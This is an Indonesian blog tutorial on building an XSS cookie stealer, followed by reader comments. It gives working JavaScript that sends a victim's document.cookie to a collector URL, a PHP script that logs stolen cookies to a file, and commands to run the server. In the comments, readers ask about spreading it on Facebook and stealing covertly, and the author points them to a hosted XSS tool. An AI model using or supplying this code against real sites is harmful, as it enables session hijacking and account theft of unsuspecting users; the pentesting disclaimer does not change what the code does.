
Membuat XSS Cookie Stealer – JavaScript adalah salah satu bahasa yang paling umum digunakan di web. Dapat juga menganimasikan komponen situs web, mengelola konten situs web, dan menjalankan banyak fungsi bermanfaat lainnya dari dalam halaman web. Javascript memiliki banyak fungsi yang dapat digunakan untuk tujuan jahat, termasuk mencuri cookie pengguna dan informasi lainnya.
Cookie adalah informasi yang diminta atau dipertahankan oleh situs web mengenai pengguna tertentu yang mengunjungi halaman tersebut. Cookie berisi informasi tentang bagaimana dan kapan mereka mengunjungi, serta informasi otentikasi untuk situs seperti nama pengguna dan kata sandi. Karena cookie harus digunakan setiap kali pengunjung aktif di web, penyerang dapat mencuri informasi dan menggunakannya untuk meniru informasi pengguna.
Kita dapat menggunakan JavaScript untuk menyimpan atau memodifikasi cookie pengguna untuk domain tertentu. Serangan berbasis JavaScript sangat efektif bila dikombinasikan dengan taktik seperti injeksi kode. Karena memungkinkan kode berbahaya dijalankan di situs web yang tampaknya tepercaya.
Baca juga: Upload Shell Menggunakan SQLMap.
Saya tidak menganjurkan untuk mencuri kata sandi siapa pun. Panduan ini adalah topik yang harus diketahui oleh pentester atau profesional keamanan TI apa pun untuk dipahami. Jika kalian tidak tahu bagaimana peretas blackhat melakukan berbagai hal, kalian tidak akan pernah bisa menangkapnya.
Membuat Halaman HTML Sebagai Tester
Untuk mencuri cookie, cookie harus terlebih dahulu tersedia di domain web yang dilihat pengguna. Ini terjadi setiap kali pengguna melihat situs web.
Lingkungan pengujian untuk cookie saya akan berada dalam halaman HTML yang cukup standar. Saya akan dapat menanamkan semua elemen JavaScript kami secara langsung. Pertama, buat direktori baru untuk memuat file HTML. Pada sistem Linux atau macOS, kita dapat menggunakan mkdir, seperti yang terlihat di bawah ini.
1 2 3 |
mkdir cookiestealer cd cookiestealer touch index.html |
Kita dapat membuat parameter dasar yang dimasukkan dalam cookie dengan hanya menggunakan satu string. Cookie ini hanya akan ada di halaman ini, dan sama halnya, teknik yang digunakan untuk membuang cookie nantinya. Ini hanya akan berlaku untuk cookie apa pun yang disimpan di dalam halaman tempat script dijalankan atau disuntikkan. Letakkan script di bawah ini di dalam tag <body>...</body>
:
1 |
<script type="text/javascript">document.cookie = "username=abaykandotcom";</script> |
Untuk mengetahui apakah script kita bekerja, masukkan script berikut:
1 2 3 4 |
<script type="text/javascript"> document.cookie = "username=abaykandotcom"; document.write(document.cookie); </script> |
Kita telah berhasil menetapkan “username = abaykandotcom” sebagai cookie untuk halaman ini. Kita sekarang dapat menghapus “document.write (document.cookie);“, karena kita akan meneruskan cookie yang diambil dari halaman pengguna yang ditargetkan ke halaman independen. Yang di luar situs di mana mereka dapat ditulis dan disimpan.
Membuat XSS Cookie-Stealer Menggunakan Javascript
1 |
document.location = 'http://127.0.0.1/cookiestealer.php? c =' + document.cookie; |
Dalam contoh ini, file PHP terletak di komputer lokal, atau localhost, di 127.0.0.1. Dalam penerapan teknik ini, kita mengarah ke file yang di-host di server web di luar jaringan lokal atau komputer lokal.
Untuk tujuan pengujian, kita akan dapat meng-host file secara lokal menggunakan PHP. Kita dapat menyertakan JavaScript ini dalam tag skrip, seperti yang terlihat di bawah ini. Pada halaman HTML yang sama di mana saya mendefinisikan cookie yang saya buat tadi.
1 2 3 |
<script type="text/javascript"> document.location='http://127.0.0.1:666/cookiestealer.php?c='+document.cookie; </script> |
Keseluruhan file akan menjadi seperti ini,
1 2 3 4 5 6 7 8 9 10 11 12 |
<html> <head><title>abay</title> </head> <body> <script type="text/javascript"> document.cookie = "username=abaykandotcom"; </script> <script type="text/javascript"> document.location='http://127.0.0.1:666/cookiestealer.php?c='+document.cookie; </script> </body> </html> |
Memproses Cookie Menggunakan PHP
Pertama, buat file PHP baru di direktori yang sama dengan file index.html. Lalu masukkan script dibawah ini ke dalam cookiestealer.php
1 2 3 |
<?php header ('Location:https://google.com'); ?> |
Dengan melakukan redirection pada pengguna yang ditetapkan, kita dapat menambahkan kode tambahan untuk memproses cookie. Pertama, saya akan menetapkan cookie yang dibawa oleh URL ke variabel.
1 |
$cookies = $_GET["c"]; |
Selanjutnya, kita akan mendefinisikan file yang akan disimpan cookie pada server yang kita kontrol. Dalam contoh di bawah ini, file tersebut bernama “log.txt“.
1 |
$file = fopen('log.txt', 'a'); |
Terakhir, saya akan menggabungkan variabel yang didefinisikan dalam dua string di atas. Ini dilakukan untuk menulis konten variabel, cookie, ke file log saya.
1 |
fwrite($file, $cookies . "\n\n"); |
Kode kita sekarang menjadi seperti dibawah ini.
1 2 3 4 5 6 |
<?php header ('Location:https://google.com'); $cookies = $_GET["c"]; $file = fopen('log.txt', 'a'); fwrite($file, $cookies . "\n\n"); ?> |
Menjalankan Cookie Stealer
Dari dalam direktori yang sama dengan file index.html dan cookiestealer.php, kita dapat meluncurkan server pengujian. Kita hanya perlu menggunakan PHP dari Command Line.
1 2 3 4 5 6 |
abay@codelatte:~$ php -S 127.0.0.1:80 abay@codelatte:~$ sudo php -S 127.0.0.1:80 PHP 5.5.38 Development Server started at Tue Nov 27 21:38:12 2018 Listening on http://127.0.0.1:80 Document root is /Applications/XAMPP/xamppfiles/htdocs/cookiestealer Press Ctrl-C to quit. |
Server pengujian ini sekarang memungkinkan kita untuk menguji halaman dengan hanya membuka “127.0.0.1” dalam browser web pada mesin yang sama. Setelah membuka halaman ini, browser akan segera mengarahkan ke situs web yang saya definisikan sebagai pengalihan, dalam hal ini Google.
Akhirnya, kita akan dapat mengambil cookie dengan memeriksa file “log.txt” yang sekarang ada di direktori situs. Jika log berisi cookie, dalam hal ini “username = abaykandotcom” maka kita telah berhasil mencuri cookie menggunakan JavaScript!
Saya harap kalian menikmati artikel tentang cara Membuat XSS Cookie-Stealer ini.
Pake windows bisa gak mas
Bisa.
Om, apakah untuk sekelas Facebook dan Google.. Cookie yang telah kita curi bisa dipakai?.. apakah mungkin mereka menambahkan beberapa filter lagi?
Salam..
Sejujurnya malah saya belum pernah coba di dua situs itu. Jadi daripada jawab sekenanya tapi ngawur, blak-blakan aja kalo saya ngga tau, wkwk
Bang bisa nggak kita upload cookie stelernya ke hosting terus kita sebar ke Facebook biar cookie orang” kecuri
Upload ke hosting sih bisa, trus gimana caranya ngambil cookie orang2 yg ada di Facebook nya?
kalo tanpa redirect bisa gak ya bang?
pengen coba steal tanpa ketauan hehehe
Bisa aja. Kalo gamau ribet coba pake XSS Hunter (xsshunter.com) aja
Cookie stealernya harus ditaro dulu make stored XSS ya mas ?
iya
Buat nambal nya gimana ya mas akbar?
Di website ku ada kayak gituan tapi langsung redirect ke google.com..
Ngak tau dia paste script nya di mana…
website ku : site.com/admin/dashboard..
Nah saya ngak bisa masuk tuh ke dashboard soalnya langsung redirect ke google.com ๐
bisa dicoba hapus stored data nya dari database mas